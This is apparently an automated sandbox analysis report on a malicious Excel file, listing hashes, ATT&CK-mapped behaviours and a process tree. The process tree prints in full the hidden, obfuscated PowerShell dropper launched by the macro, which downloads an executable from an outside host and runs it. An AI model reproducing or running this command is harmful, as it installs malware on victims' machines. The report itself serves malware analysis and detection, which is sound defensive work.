2010a35082eff3568cc93f0ae0b78b0c3c426d5f4b17d79380b0966fdf98caaf

General

Target

2010a35082eff3568cc93f0ae0b78b0c3c426d5f4b17d79380b0966fdf98caaf.xls
Size

56KB
MD5

cdddcb8694ce3a5ed4966c715a2e382a
SHA1

92d7ea6ef276c96188a5cafd30ac1a5c2a716eef
SHA256

2010a35082eff3568cc93f0ae0b78b0c3c426d5f4b17d79380b0966fdf98caaf
SHA512

668dd75f50ed7af639adc9d46d225790e8f59d3e469628ffb095ff5fdc1d51f37fe6d9a0769a5daeb228564abfd72c10fcfd56d6387e438c5c5165fc454122a8
SSDEEP

1536:lk3hOdsylKlgryzc4bNhZFGzE+cL2knAzqCXHzFp/iE:lk3hOdsylKlgryzc4bNhZFGzE+cL2knv

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://igyygyigus.com/new/smscscript090002000.exe

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2888	1580	powershell.exe	27

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2888	powershell.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE

Office loads VBA resources, possible macro or embedded object present

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1580	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2888	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2888	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1580	EXCEL.EXE
1580	EXCEL.EXE

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
1580	EXCEL.EXE
1580	EXCEL.EXE
1580	EXCEL.EXE
1580	EXCEL.EXE
1580	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1580 wrote to memory of 2888	1580	EXCEL.EXE	28
PID 1580 wrote to memory of 2888	1580	EXCEL.EXE	28
PID 1580 wrote to memory of 2888	1580	EXCEL.EXE	28
PID 1580 wrote to memory of 2888	1580	EXCEL.EXE	28

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\2010a35082eff3568cc93f0ae0b78b0c3c426d5f4b17d79380b0966fdf98caaf.xls
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1580
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden -noprofile -ExecutionPolicy RemoteSigned function v4bad81 { param($ndddb) $z717f = 'a25baab'; $r8f981d = ''; for ($i = 0; $i -lt $ndddb.length; $i+=2) { $o622e = [convert]::ToByte($ndddb.Substring($i, 2), 16); $r8f981d += [char]($o622e -bxor $z717f[($i / 2) % $z717f.length]); } return $r8f981d; } $x642a = '14415c0c064131184141070c5a6f6b47460b0f0642324b4616040c4c33475b16080c074f7b5b1604130d1161501017080104410e6f6b1117035e5c0141020e004146420e50570305076f6b1a6f6b12154241414241126e260d0d2b0c425a101549400a57470c040d5153101c3f6c6b42411215424141421147570e08024212465416080242044a4107130f42285c413215134226574132130e0120565110041211497b5b16311510415a780d05140e041e151115130b0f551512130e012f535807485a6f6b12154241414241126e260d0d2b0c425a101549400a57470c040d5153101c3f6c6b42411215424141421147570e08024212465416080242044a4107130f42285c41321513422d5d54062d08001353471b491216135b5b05410f030c571c596c6b42411215424141423a76590e280c120e40414a430a07135c500e525340486f386841414241121542411117035e5c0141121600465c0141041a1557470c41030d0e5e153408131614535932130e160451414a280f16314647420d11230556470712124e41677c0c15311613125115320818041e1517080f164154592c041632135d410702154e415d401641140b0f46150e11070e2e5e5132130e160451414b5a6c68411215424141424169710e0d280f115d471649432904405b070d52504f56590e434d42245c411018310d085c41425c41403346592f0e17072c57580d1318404d126607152d0312467010130e10410f1504000d11041b686f6b4142411215424141111553410b024107194650100f41140e5b51422c0e14047f500f0e131b497b5b1631151041565011154d42285c41321513421240564e41080c1512460b1b044b5a3f3f6f6b4142411215424141121450590b0241111553410b02410b0f461510030257550b074a486c6841121542414142414938684141424112154241414241127c0c15311613125e5b59005b5054155f412d0d0056790b031303134b1d14550303050a044a4351525454015451035607020052045106431b1c596c6b42411215424141424112154208074249590c5a0058530712085f41280c156241104f3b07135d1c6f6b414241121542414142411215196c6b4241121542414142411215424141424140501614130c41030e6f6b4142411215424141424112151f6c6b6f6b1215424141424112154241412b0f466516134115020a0050415c4226574132130e012056511004121149590c5a005853071e1514550303050a044a4353525454015451035153020752525104560201525155525602015351434b480938684141424112154241414241125c04414915020a0050415c5f417b5b163115104f6850100e486f6b121542414142411215424141196c381542414142411215424141424112154213041614405b42505a6f6b1215424141424112154241411f6c383868414142411215424141424112602b0f15321540150616320b1b57155f414937285c413215134b54093868414142411215424141424112400b0f15423b57470d415c42510938684141424112154241414241125c04414943375b471614000e31405a160402164945565a54534e41564231081b074d12051a55514e415d4016413b07135d1c4b6c6b4241121542414142411215421a6c684112154241414241121542414142411247071514100f1204596c6b4241121542414142411215421c6c68411215424141424112154241231b15576e3f41310315515d425c411941024d51504d42514a53044d4152190b05421c5a6f6b1215424141424112154241412b0f4665161341170f5f540c00060705625a0b0f1507131208422c0010125a540e4f200e0d5d562a260d0d0353594a5248596c381542414142411215424141422c53471109000e4f715a121849320046560a4d41524d12400c0c000c00555006310e0b0f4650104d415148093868414142411215424141424112780d17042f045f5a1018490c0445152b0f153215401d15025957531c610d280f1657061d4b414a42514a055250034b4d12400c0c000c00555006310e0b0f4650104d41514809386841414241121542414142411247071514100f1205596c6b42411215424141421c3f3f6b681117035e5c0141121600465c01411216135b5b054117560353515a50491115405c0c06411115407c0c486c68411215424141424149386868686b1246470b0f064213505356545256410f154000535703535400435a6f6b1215424141424112154241411115405c0c06410f5806040603415f41614110080f054f7758121518596c38154241414241121542414142075d474249080c15125c425c41525a125c425d411115407c0c4f2d070f55410a5a410b4119084253486f6b121542414142411215424141196c38154241414241121542414142411215420318160412575553525052120842220e0c175747164f350d234b4107491216137b5b4c3214001246470b0f064a081e1550484d4250041c596c6b424112154241414241121542414142415f0c565005004119084249020a00401c4a035650520006423f411003540157525539495b154d41534b411715100307565401014c2d040c06465d3f485a6f6b1215424141424112154241411f6c38386841414241121542414142411247071514100f12585b5550060309386841414241121542411c6f6b4f'; $x642a2 = v4bad81($x642a); Add-Type -TypeDefinition $x642a2; [o15b72]::rbc5492(); Start-Sleep -s 1; $m83735 = $env:APPDATA; $zeb93 = $m83735 + '\\b1bbb65.exe'; If (test-path $zeb93) {Remove-Item $zeb93}; $yee8b6 = New-Object System.Net.WebClient; $yee8b6.Headers['User-Agent'] = 'yee8b6'; $yee8b6.DownloadFile('https://igyygyigus.com/new/smscscript090002000.exe', $zeb93); Start-Process -Filepath $zeb93;
  2⤵
  - Process spawned unexpected child process
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2888

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1580-1-0x000000007201D000-0x0000000072028000-memory.dmp

Filesize
44KB

Download
memory/1580-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1580-5-0x0000000006530000-0x0000000006630000-memory.dmp

Filesize
1024KB

Download
memory/1580-9-0x0000000006530000-0x0000000006630000-memory.dmp

Filesize
1024KB

Download
memory/1580-10-0x0000000006530000-0x0000000006630000-memory.dmp

Filesize
1024KB

Download
memory/1580-13-0x000000007201D000-0x0000000072028000-memory.dmp

Filesize
44KB

Download
memory/1580-15-0x0000000006530000-0x0000000006630000-memory.dmp

Filesize
1024KB

Download
memory/2888-14-0x0000000006840000-0x00000000072FA000-memory.dmp

Filesize
10.7MB

Download

Analysis

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